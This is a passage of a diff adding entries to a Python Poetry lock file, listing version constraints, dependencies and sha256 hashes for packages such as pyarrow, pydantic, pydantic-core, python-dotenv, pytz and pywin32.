+    {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:2bd8a0e5296797faf9a3294e9fa2dc67aa7f10ae2207920dbebb785c77e9dbe5"},
+    {file = "pyarrow-15.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:e8ebed6053dbe76883a822d4e8da36860f479d55a762bd9e70d8494aed87113e"},
+    {file = "pyarrow-15.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:17d53a9d1b2b5bd7d5e4cd84d018e2a45bc9baaa68f7e6e3ebed45649900ba99"},
+    {file = "pyarrow-15.0.0-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:9950a9c9df24090d3d558b43b97753b8f5867fb8e521f29876aa021c52fda351"},
+    {file = "pyarrow-15.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:003d680b5e422d0204e7287bb3fa775b332b3fce2996aa69e9adea23f5c8f970"},
+    {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f75fce89dad10c95f4bf590b765e3ae98bcc5ba9f6ce75adb828a334e26a3d40"},
+    {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0ca9cb0039923bec49b4fe23803807e4ef39576a2bec59c32b11296464623dc2"},
+    {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:9ed5a78ed29d171d0acc26a305a4b7f83c122d54ff5270810ac23c75813585e4"},
+    {file = "pyarrow-15.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6eda9e117f0402dfcd3cd6ec9bfee89ac5071c48fc83a84f3075b60efa96747f"},
+    {file = "pyarrow-15.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:9a3a6180c0e8f2727e6f1b1c87c72d3254cac909e609f35f22532e4115461177"},
+    {file = "pyarrow-15.0.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:19a8918045993349b207de72d4576af0191beef03ea655d8bdb13762f0cd6eac"},
+    {file = "pyarrow-15.0.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d0ec076b32bacb6666e8813a22e6e5a7ef1314c8069d4ff345efa6246bc38593"},
+    {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5db1769e5d0a77eb92344c7382d6543bea1164cca3704f84aa44e26c67e320fb"},
+    {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e2617e3bf9df2a00020dd1c1c6dce5cc343d979efe10bc401c0632b0eef6ef5b"},
+    {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:d31c1d45060180131caf10f0f698e3a782db333a422038bf7fe01dace18b3a31"},
+    {file = "pyarrow-15.0.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:c8c287d1d479de8269398b34282e206844abb3208224dbdd7166d580804674b7"},
+    {file = "pyarrow-15.0.0-cp38-cp38-win_amd64.whl", hash = "sha256:07eb7f07dc9ecbb8dace0f58f009d3a29ee58682fcdc91337dfeb51ea618a75b"},
+    {file = "pyarrow-15.0.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:47af7036f64fce990bb8a5948c04722e4e3ea3e13b1007ef52dfe0aa8f23cf7f"},
+    {file = "pyarrow-15.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:93768ccfff85cf044c418bfeeafce9a8bb0cee091bd8fd19011aff91e58de540"},
+    {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f6ee87fd6892700960d90abb7b17a72a5abb3b64ee0fe8db6c782bcc2d0dc0b4"},
+    {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:001fca027738c5f6be0b7a3159cc7ba16a5c52486db18160909a0831b063c4e4"},
+    {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:d1c48648f64aec09accf44140dccb92f4f94394b8d79976c426a5b79b11d4fa7"},
+    {file = "pyarrow-15.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:972a0141be402bb18e3201448c8ae62958c9c7923dfaa3b3d4530c835ac81aed"},
+    {file = "pyarrow-15.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:f01fc5cf49081426429127aa2d427d9d98e1cb94a32cb961d583a70b7c4504e6"},
+    {file = "pyarrow-15.0.0.tar.gz", hash = "sha256:876858f549d540898f927eba4ef77cd549ad8d24baa3207cf1b72e5788b50e83"},
+]
+
+[package.dependencies]
+numpy = ">=1.16.6,<2"
+
+[[package]]
+name = "pydantic"
+version = "2.5.3"
+description = "Data validation using Python type hints"
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "pydantic-2.5.3-py3-none-any.whl", hash = "sha256:d0caf5954bee831b6bfe7e338c32b9e30c85dfe080c843680783ac2b631673b4"},
+    {file = "pydantic-2.5.3.tar.gz", hash = "sha256:b3ef57c62535b0941697cce638c08900d87fcb67e29cfa99e8a68f747f393f7a"},
+]
+
+[package.dependencies]
+annotated-types = ">=0.4.0"
+pydantic-core = "2.14.6"
+typing-extensions = ">=4.6.1"
+
+[package.extras]
+email = ["email-validator (>=2.0.0)"]
+
+[[package]]
+name = "pydantic-core"
+version = "2.14.6"
+description = ""
+optional = false
+python-versions = ">=3.7"
+files = [
+    {file = "pydantic_core-2.14.6-cp310-cp310-macosx_10_7_x86_64.whl", hash = "sha256:72f9a942d739f09cd42fffe5dc759928217649f070056f03c70df14f5770acf9"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:6a31d98c0d69776c2576dda4b77b8e0c69ad08e8b539c25c7d0ca0dc19a50d6c"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5aa90562bc079c6c290f0512b21768967f9968e4cfea84ea4ff5af5d917016e4"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:370ffecb5316ed23b667d99ce4debe53ea664b99cc37bfa2af47bc769056d534"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f85f3843bdb1fe80e8c206fe6eed7a1caeae897e496542cee499c374a85c6e08"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9862bf828112e19685b76ca499b379338fd4c5c269d897e218b2ae8fcb80139d"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:036137b5ad0cb0004c75b579445a1efccd072387a36c7f217bb8efd1afbe5245"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:92879bce89f91f4b2416eba4429c7b5ca22c45ef4a499c39f0c5c69257522c7c"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0c08de15d50fa190d577e8591f0329a643eeaed696d7771760295998aca6bc66"},
+    {file = "pydantic_core-2.14.6-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:36099c69f6b14fc2c49d7996cbf4f87ec4f0e66d1c74aa05228583225a07b590"},
+    {file = "pydantic_core-2.14.6-cp310-none-win32.whl", hash = "sha256:7be719e4d2ae6c314f72844ba9d69e38dff342bc360379f7c8537c48e23034b7"},
+    {file = "pydantic_core-2.14.6-cp310-none-win_amd64.whl", hash = "sha256:36fa402dcdc8ea7f1b0ddcf0df4254cc6b2e08f8cd80e7010d4c4ae6e86b2a87"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-macosx_10_7_x86_64.whl", hash = "sha256:dea7fcd62915fb150cdc373212141a30037e11b761fbced340e9db3379b892d4"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ffff855100bc066ff2cd3aa4a60bc9534661816b110f0243e59503ec2df38421"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b027c86c66b8627eb90e57aee1f526df77dc6d8b354ec498be9a757d513b92b"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:00b1087dabcee0b0ffd104f9f53d7d3eaddfaa314cdd6726143af6bc713aa27e"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:75ec284328b60a4e91010c1acade0c30584f28a1f345bc8f72fe8b9e46ec6a96"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7e1f4744eea1501404b20b0ac059ff7e3f96a97d3e3f48ce27a139e053bb370b"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b2602177668f89b38b9f84b7b3435d0a72511ddef45dc14446811759b82235a1"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6c8edaea3089bf908dd27da8f5d9e395c5b4dc092dbcce9b65e7156099b4b937"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:478e9e7b360dfec451daafe286998d4a1eeaecf6d69c427b834ae771cad4b622"},
+    {file = "pydantic_core-2.14.6-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b6ca36c12a5120bad343eef193cc0122928c5c7466121da7c20f41160ba00ba2"},
+    {file = "pydantic_core-2.14.6-cp311-none-win32.whl", hash = "sha256:2b8719037e570639e6b665a4050add43134d80b687288ba3ade18b22bbb29dd2"},
+    {file = "pydantic_core-2.14.6-cp311-none-win_amd64.whl", hash = "sha256:78ee52ecc088c61cce32b2d30a826f929e1708f7b9247dc3b921aec367dc1b23"},
+    {file = "pydantic_core-2.14.6-cp311-none-win_arm64.whl", hash = "sha256:a19b794f8fe6569472ff77602437ec4430f9b2b9ec7a1105cfd2232f9ba355e6"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-macosx_10_7_x86_64.whl", hash = "sha256:667aa2eac9cd0700af1ddb38b7b1ef246d8cf94c85637cbb03d7757ca4c3fdec"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdee837710ef6b56ebd20245b83799fce40b265b3b406e51e8ccc5b85b9099b7"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c5bcf3414367e29f83fd66f7de64509a8fd2368b1edf4351e862910727d3e51"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:26a92ae76f75d1915806b77cf459811e772d8f71fd1e4339c99750f0e7f6324f"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a983cca5ed1dd9a35e9e42ebf9f278d344603bfcb174ff99a5815f953925140a"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cb92f9061657287eded380d7dc455bbf115430b3aa4741bdc662d02977e7d0af"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4ace1e220b078c8e48e82c081e35002038657e4b37d403ce940fa679e57113b"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ef633add81832f4b56d3b4c9408b43d530dfca29e68fb1b797dcb861a2c734cd"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7e90d6cc4aad2cc1f5e16ed56e46cebf4877c62403a311af20459c15da76fd91"},
+    {file = "pydantic_core-2.14.6-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e8a5ac97ea521d7bde7621d86c30e86b798cdecd985723c4ed737a2aa9e77d0c"},
+    {file = "pydantic_core-2.14.6-cp312-none-win32.whl", hash = "sha256:f27207e8ca3e5e021e2402ba942e5b4c629718e665c81b8b306f3c8b1ddbb786"},
+    {file = "pydantic_core-2.14.6-cp312-none-win_amd64.whl", hash = "sha256:b3e5fe4538001bb82e2295b8d2a39356a84694c97cb73a566dc36328b9f83b40"},
+    {file = "pydantic_core-2.14.6-cp312-none-win_arm64.whl", hash = "sha256:64634ccf9d671c6be242a664a33c4acf12882670b09b3f163cd00a24cffbd74e"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-macosx_10_7_x86_64.whl", hash = "sha256:24368e31be2c88bd69340fbfe741b405302993242ccb476c5c3ff48aeee1afe0"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-macosx_11_0_arm64.whl", hash = "sha256:e33b0834f1cf779aa839975f9d8755a7c2420510c0fa1e9fa0497de77cd35d2c"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6af4b3f52cc65f8a0bc8b1cd9676f8c21ef3e9132f21fed250f6958bd7223bed"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d15687d7d7f40333bd8266f3814c591c2e2cd263fa2116e314f60d82086e353a"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:095b707bb287bfd534044166ab767bec70a9bba3175dcdc3371782175c14e43c"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94fc0e6621e07d1e91c44e016cc0b189b48db053061cc22d6298a611de8071bb"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ce830e480f6774608dedfd4a90c42aac4a7af0a711f1b52f807130c2e434c06"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a306cdd2ad3a7d795d8e617a58c3a2ed0f76c8496fb7621b6cd514eb1532cae8"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:2f5fa187bde8524b1e37ba894db13aadd64faa884657473b03a019f625cee9a8"},
+    {file = "pydantic_core-2.14.6-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:438027a975cc213a47c5d70672e0d29776082155cfae540c4e225716586be75e"},
+    {file = "pydantic_core-2.14.6-cp37-none-win32.whl", hash = "sha256:f96ae96a060a8072ceff4cfde89d261837b4294a4f28b84a28765470d502ccc6"},
+    {file = "pydantic_core-2.14.6-cp37-none-win_amd64.whl", hash = "sha256:e646c0e282e960345314f42f2cea5e0b5f56938c093541ea6dbf11aec2862391"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-macosx_10_7_x86_64.whl", hash = "sha256:db453f2da3f59a348f514cfbfeb042393b68720787bbef2b4c6068ea362c8149"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3860c62057acd95cc84044e758e47b18dcd8871a328ebc8ccdefd18b0d26a21b"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:36026d8f99c58d7044413e1b819a67ca0e0b8ebe0f25e775e6c3d1fabb3c38fb"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8ed1af8692bd8d2a29d702f1a2e6065416d76897d726e45a1775b1444f5928a7"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:314ccc4264ce7d854941231cf71b592e30d8d368a71e50197c905874feacc8a8"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:982487f8931067a32e72d40ab6b47b1628a9c5d344be7f1a4e668fb462d2da42"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dbe357bc4ddda078f79d2a36fc1dd0494a7f2fad83a0a684465b6f24b46fe80"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2f6ffc6701a0eb28648c845f4945a194dc7ab3c651f535b81793251e1185ac3d"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7f5025db12fc6de7bc1104d826d5aee1d172f9ba6ca936bf6474c2148ac336c1"},
+    {file = "pydantic_core-2.14.6-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:dab03ed811ed1c71d700ed08bde8431cf429bbe59e423394f0f4055f1ca0ea60"},
+    {file = "pydantic_core-2.14.6-cp38-none-win32.whl", hash = "sha256:dfcbebdb3c4b6f739a91769aea5ed615023f3c88cb70df812849aef634c25fbe"},
+    {file = "pydantic_core-2.14.6-cp38-none-win_amd64.whl", hash = "sha256:99b14dbea2fdb563d8b5a57c9badfcd72083f6006caf8e126b491519c7d64ca8"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-macosx_10_7_x86_64.whl", hash = "sha256:4ce8299b481bcb68e5c82002b96e411796b844d72b3e92a3fbedfe8e19813eab"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b9a9d92f10772d2a181b5ca339dee066ab7d1c9a34ae2421b2a52556e719756f"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fd9e98b408384989ea4ab60206b8e100d8687da18b5c813c11e92fd8212a98e0"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4f86f1f318e56f5cbb282fe61eb84767aee743ebe32c7c0834690ebea50c0a6b"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:86ce5fcfc3accf3a07a729779d0b86c5d0309a4764c897d86c11089be61da160"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3dcf1978be02153c6a31692d4fbcc2a3f1db9da36039ead23173bc256ee3b91b"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eedf97be7bc3dbc8addcef4142f4b4164066df0c6f36397ae4aaed3eb187d8ab"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d5f916acf8afbcab6bacbb376ba7dc61f845367901ecd5e328fc4d4aef2fcab0"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:8a14c192c1d724c3acbfb3f10a958c55a2638391319ce8078cb36c02283959b9"},
+    {file = "pydantic_core-2.14.6-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0348b1dc6b76041516e8a854ff95b21c55f5a411c3297d2ca52f5528e49d8411"},
+    {file = "pydantic_core-2.14.6-cp39-none-win32.whl", hash = "sha256:de2a0645a923ba57c5527497daf8ec5df69c6eadf869e9cd46e86349146e5975"},
+    {file = "pydantic_core-2.14.6-cp39-none-win_amd64.whl", hash = "sha256:aca48506a9c20f68ee61c87f2008f81f8ee99f8d7f0104bff3c47e2d148f89d9"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-macosx_10_7_x86_64.whl", hash = "sha256:d5c28525c19f5bb1e09511669bb57353d22b94cf8b65f3a8d141c389a55dec95"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:78d0768ee59baa3de0f4adac9e3748b4b1fffc52143caebddfd5ea2961595277"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b93785eadaef932e4fe9c6e12ba67beb1b3f1e5495631419c784ab87e975670"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a874f21f87c485310944b2b2734cd6d318765bcbb7515eead33af9641816506e"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b89f4477d915ea43b4ceea6756f63f0288941b6443a2b28c69004fe07fde0d0d"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:172de779e2a153d36ee690dbc49c6db568d7b33b18dc56b69a7514aecbcf380d"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:dfcebb950aa7e667ec226a442722134539e77c575f6cfaa423f24371bb8d2e94"},
+    {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:55a23dcd98c858c0db44fc5c04fc7ed81c4b4d33c653a7c45ddaebf6563a2f66"},
+    {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-macosx_10_7_x86_64.whl", hash = "sha256:4241204e4b36ab5ae466ecec5c4c16527a054c69f99bba20f6f75232a6a534e2"},
+    {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e574de99d735b3fc8364cba9912c2bec2da78775eba95cbb225ef7dda6acea24"},
+    {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1302a54f87b5cd8528e4d6d1bf2133b6aa7c6122ff8e9dc5220fbc1e07bffebd"},
+    {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f8e81e4b55930e5ffab4a68db1af431629cf2e4066dbdbfef65348b8ab804ea8"},
+    {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c99462ffc538717b3e60151dfaf91125f637e801f5ab008f81c402f1dff0cd0f"},
+    {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e4cf2d5829f6963a5483ec01578ee76d329eb5caf330ecd05b3edd697e7d768a"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cf10b7d58ae4a1f07fccbf4a0a956d705356fea05fb4c70608bb6fa81d103cda"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:399ac0891c284fa8eb998bcfa323f2234858f5d2efca3950ae58c8f88830f145"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c6a5c79b28003543db3ba67d1df336f253a87d3112dac3a51b94f7d48e4c0e1"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:599c87d79cab2a6a2a9df4aefe0455e61e7d2aeede2f8577c1b7c0aec643ee8e"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:43e166ad47ba900f2542a80d83f9fc65fe99eb63ceec4debec160ae729824052"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:3a0b5db001b98e1c649dd55afa928e75aa4087e587b9524a4992316fa23c9fba"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:747265448cb57a9f37572a488a57d873fd96bf51e5bb7edb52cfb37124516da4"},
+    {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:7ebe3416785f65c28f4f9441e916bfc8a54179c8dea73c23023f7086fa601c5d"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:86c963186ca5e50d5c8287b1d1c9d3f8f024cbe343d048c5bd282aec2d8641f2"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:e0641b506486f0b4cd1500a2a65740243e8670a2549bb02bc4556a83af84ae03"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71d72ca5eaaa8d38c8df16b7deb1a2da4f650c41b58bb142f3fb75d5ad4a611f"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:27e524624eace5c59af499cd97dc18bb201dc6a7a2da24bfc66ef151c69a5f2a"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a3dde6cac75e0b0902778978d3b1646ca9f438654395a362cb21d9ad34b24acf"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:00646784f6cd993b1e1c0e7b0fdcbccc375d539db95555477771c27555e3c556"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:23598acb8ccaa3d1d875ef3b35cb6376535095e9405d91a3d57a8c7db5d29341"},
+    {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7f41533d7e3cf9520065f610b41ac1c76bc2161415955fbcead4981b22c7611e"},
+    {file = "pydantic_core-2.14.6.tar.gz", hash = "sha256:1fd0c1d395372843fba13a51c28e3bb9d59bd7aebfeb17358ffaaa1e4dbbe948"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0"
+
+[[package]]
+name = "pydantic-settings"
+version = "2.1.0"
+description = "Settings management using Pydantic"
+optional = false
+python-versions = ">=3.8"
+files = [
+    {file = "pydantic_settings-2.1.0-py3-none-any.whl", hash = "sha256:7621c0cb5d90d1140d2f0ef557bdf03573aac7035948109adf2574770b77605a"},
+    {file = "pydantic_settings-2.1.0.tar.gz", hash = "sha256:26b1492e0a24755626ac5e6d715e9077ab7ad4fb5f19a8b7ed7011d52f36141c"},
+]
+
+[package.dependencies]
+pydantic = ">=2.3.0"
+python-dotenv = ">=0.21.0"
+
+[[package]]
+name = "python-dateutil"
+version = "2.8.2"
+description = "Extensions to the standard Python datetime module"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
+files = [
+    {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"},
+    {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"},
+]
+
+[package.dependencies]
+six = ">=1.5"
+
+[[package]]
+name = "python-dotenv"
+version = "1.0.1"
+description = "Read key-value pairs from a .env file and set them as environment variables"
+optional = false
+python-versions = ">=3.8"
+files = [
+    {file = "python-dotenv-1.0.1.tar.gz", hash = "sha256:e324ee90a023d808f1959c46bcbc04446a10ced277783dc6ee09987c37ec10ca"},
+    {file = "python_dotenv-1.0.1-py3-none-any.whl", hash = "sha256:f7b63ef50f1b690dddf550d03497b66d609393b40b564ed0d674909a68ebf16a"},
+]
+
+[package.extras]
+cli = ["click (>=5.0)"]
+
+[[package]]
+name = "pytz"
+version = "2024.1"
+description = "World timezone definitions, modern and historical"
+optional = false
+python-versions = "*"
+files = [
+    {file = "pytz-2024.1-py2.py3-none-any.whl", hash = "sha256:328171f4e3623139da4983451950b28e95ac706e13f3f2630a879749e7a8b319"},
+    {file = "pytz-2024.1.tar.gz", hash = "sha256:2a29735ea9c18baf14b448846bde5a48030ed267578472d8955cd0e7443a9812"},
+]
+
+[[package]]
+name = "pywin32"
+version = "306"
+description = "Python for Window Extensions"
+optional = false
+python-versions = "*"
+files = [
+    {file = "pywin32-306-cp310-cp310-win32.whl", hash = "sha256:06d3420a5155ba65f0b72f2699b5bacf3109f36acbe8923765c22938a69dfc8d"},
+    {file = "pywin32-306-cp310-cp310-win_amd64.whl", hash = "sha256:84f4471dbca1887ea3803d8848a1616429ac94a4a8d05f4bc9c5dcfd42ca99c8"},
+    {file = "pywin32-306-cp311-cp311-win32.whl", hash = "sha256:e65028133d15b64d2ed8f06dd9fbc268352478d4f9289e69c190ecd6818b6407"},
+    {file = "pywin32-306-cp311-cp311-win_amd64.whl", hash = "sha256:a7639f51c184c0272e93f244eb24dafca9b1855707d94c192d4a0b4c01e1100e"},
